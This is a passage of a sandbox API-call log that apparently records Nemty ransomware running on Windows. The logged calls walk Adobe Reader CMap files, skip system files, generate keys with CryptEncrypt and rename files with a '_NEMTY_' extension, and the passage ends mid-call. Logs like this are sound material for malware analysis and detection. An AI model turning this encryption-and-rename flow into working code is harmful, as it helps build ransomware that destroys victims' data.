pszString="pTkXmb4GDyaNGi0ZkAd9uXlGWF3PoXf6E5Ywm0s82WJ8JjQ8thGlxs7+wLRi9TV7\r\nI5VD/lT/GRVYt1miMlY1TjOC/iwt1W71hXt0KCB/zAWsVNas85XDBlUqbPGVndqm\r\n8yBPe2ApqarjoF9fPOtYGSn5D5CEtzMqWgJlx4/IrTXFiCDjqBxSby6tporUpVQ8\r\nKQtVyhL056apw6tIAestDfQeJpRz3FzOur1Uf+kM5Colw6OMi1uHzaZpkxV0pmMd\r\nFjNV9Hc8+9GnrFZ+l0hgpMf1pfiyehvDnnoIfoSW53PLUGZq3EXIjFYXsmh6KvIt\r\nqmB9aF05U6tZULAha4O2cg==\r\n", pcchString=0x653e91c) returned 1 [0200.778] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0200.778] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0200.778] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0200.778] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0200.778] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0200.778] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0200.779] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-90ms-RKSJ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-japan1-90ms-rksj"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0200.779] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0200.779] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0200.779] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.779] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0200.788] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.788] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0200.788] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.788] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0200.797] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.797] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0200.797] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.798] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0200.807] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.807] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0200.807] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.807] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0200.816] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.816] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0200.816] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.816] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0200.825] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.825] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0200.825] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.825] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0200.835] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.835] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0200.835] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.835] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0200.844] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.844] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0200.844] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.844] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0200.853] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.853] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0200.853] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.853] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0200.862] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.862] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0200.862] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.862] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0200.872] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.872] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0200.872] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.872] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0200.878] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.878] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0200.878] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.878] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0200.884] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.884] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0200.884] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.884] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6349050, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0200.884] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0200.884] CloseHandle (hObject=0xffffffff) returned 0 [0200.884] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f941d8 [0200.884] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0200.884] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0200.884] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0200.884] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0200.884] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0200.884] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94280 [0200.884] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x4f94328 [0200.884] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94280 | out: hHeap=0x4f90000) returned 1 [0200.884] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0200.885] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-90ms-RKSJ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-japan1-90ms-rksj"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-90ms-RKSJ._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-japan1-90ms-rksj._nemty_kgobjgd_")) returned 0 [0200.885] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0200.885] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941d8 | out: hHeap=0x4f90000) returned 1 [0200.885] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0200.885] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0200.885] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0200.885] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0200.885] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0200.885] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94130 | out: hHeap=0x4f90000) returned 1 [0200.885] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0200.885] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0200.885] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa8bb60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x20fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Japan1-90pv-RKSJ", cAlternateFileName="ADE5F6~1")) returned 1 [0200.885] lstrcmpiW (lpString1="Adobe-Japan1-90pv-RKSJ", lpString2=".") returned 1 [0200.885] lstrcmpiW (lpString1="Adobe-Japan1-90pv-RKSJ", lpString2="..") returned 1 [0200.885] lstrcmpiW (lpString1="Adobe-Japan1-90pv-RKSJ", lpString2="...") returned 1 [0200.885] lstrcmpiW (lpString1="Adobe-Japan1-90pv-RKSJ", lpString2="windows") returned -1 [0200.885] lstrcmpiW (lpString1="Adobe-Japan1-90pv-RKSJ", lpString2="$RECYCLE.BIN") returned 1 [0200.885] lstrcmpiW (lpString1="Adobe-Japan1-90pv-RKSJ", lpString2="rsa") returned -1 [0200.885] lstrcmpiW (lpString1="Adobe-Japan1-90pv-RKSJ", lpString2="NTDETECT.COM") returned -1 [0200.885] lstrcmpiW (lpString1="Adobe-Japan1-90pv-RKSJ", lpString2="ntldr") returned -1 [0200.885] lstrcmpiW (lpString1="Adobe-Japan1-90pv-RKSJ", lpString2="MSDOS.SYS") returned -1 [0200.885] lstrcmpiW (lpString1="Adobe-Japan1-90pv-RKSJ", lpString2="IO.SYS") returned -1 [0200.885] lstrcmpiW (lpString1="Adobe-Japan1-90pv-RKSJ", lpString2="boot.ini") returned -1 [0200.885] lstrcmpiW (lpString1="Adobe-Japan1-90pv-RKSJ", lpString2="boot.ini") returned -1 [0200.885] lstrcmpiW (lpString1="Adobe-Japan1-90pv-RKSJ", lpString2="AUTOEXEC.BAT") returned -1 [0200.885] lstrcmpiW (lpString1="Adobe-Japan1-90pv-RKSJ", lpString2="ntuser.dat") returned -1 [0200.885] lstrcmpiW (lpString1="Adobe-Japan1-90pv-RKSJ", lpString2="desktop.ini") returned -1 [0200.885] lstrcmpiW (lpString1="Adobe-Japan1-90pv-RKSJ", lpString2="CONFIG.SYS") returned -1 [0200.885] lstrcmpiW (lpString1="Adobe-Japan1-90pv-RKSJ", lpString2="RECYCLER") returned -1 [0200.885] lstrcmpiW (lpString1="Adobe-Japan1-90pv-RKSJ", lpString2="BOOTSECT.BAK") returned -1 [0200.885] lstrcmpiW (lpString1="Adobe-Japan1-90pv-RKSJ", lpString2="bootmgr") returned -1 [0200.885] lstrcmpiW (lpString1="Adobe-Japan1-90pv-RKSJ", lpString2="programdata") returned -1 [0200.885] lstrcmpiW (lpString1="Adobe-Japan1-90pv-RKSJ", lpString2="appdata") returned -1 [0200.886] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0200.886] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Japan1-90pv-RKSJ", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0200.886] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0200.886] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Japan1-90pv-RKSJ", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-Japan1-90pv-RKSJ", lpUsedDefaultChar=0x0) returned 22 [0200.886] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0200.886] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0200.886] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Japan1-90pv-RKSJ", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0200.886] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0200.886] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Japan1-90pv-RKSJ", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-Japan1-90pv-RKSJ", lpUsedDefaultChar=0x0) returned 22 [0200.886] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0200.886] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0200.886] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0200.886] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0200.886] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Japan1-90pv-RKSJ", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0200.886] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0200.886] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Japan1-90pv-RKSJ", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-Japan1-90pv-RKSJ", lpUsedDefaultChar=0x0) returned 22 [0200.886] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0200.886] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0200.886] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Japan1-90pv-RKSJ", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0200.886] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0200.886] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Japan1-90pv-RKSJ", cchWideChar=22, lpMultiByteStr=0x4f9ed08, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-Japan1-90pv-RKSJ", lpUsedDefaultChar=0x0) returned 22 [0200.886] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0200.886] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94130 [0200.886] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0200.886] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0200.886] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0200.886] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94088 [0200.886] Sleep (dwMilliseconds=0x5) [0200.895] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2b63aff0, dwHighDateTime=0x1d561e8)) [0200.896] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2b63aff0, dwHighDateTime=0x1d561e8)) [0200.896] GetLastError () returned 0x5 [0200.896] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0200.896] GetLastError () returned 0x5 [0200.896] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0200.896] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0200.896] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0200.896] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0200.896] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0200.896] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0200.896] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0200.896] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653e91c | out: pszString="v/nn9o0MtRjPsBvi8BOntxjPQxhGZBIzl2batcDNB1Oq4ReNVx1ZMj0wcSaAjXHc\r\nTxZGT/VbiI31zw1RojJ0W0H3GXPXFqSproZe0o53wkcb9S6YNPrNVY52zbdD0eeI\r\n6+DVQXLO0CLGSs5IErSjVQhW3qtl7GarPVTzHgFjAk9xah59Zp5QELp+aYq8ChMn\r\n0Xpv5k22rmDu4YxMbs7u2/yjHdXVZAGSzKf1VbkwmAQK2vvD3jkDLndYs+g44aJG\r\nOIaycDy2jl7aaN00S4QgmrXV/szpmP2dpLA3E6zNAv69+xVaohszke/E+vBjHszd\r\nY39OgBwSsWoqjHOSialuTQ==\r\n", pcchString=0x653e91c) returned 1 [0200.896] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0200.896] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0200.897] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0200.897] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0200.897] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0200.897] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0200.897] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-90pv-RKSJ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-japan1-90pv-rksj"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 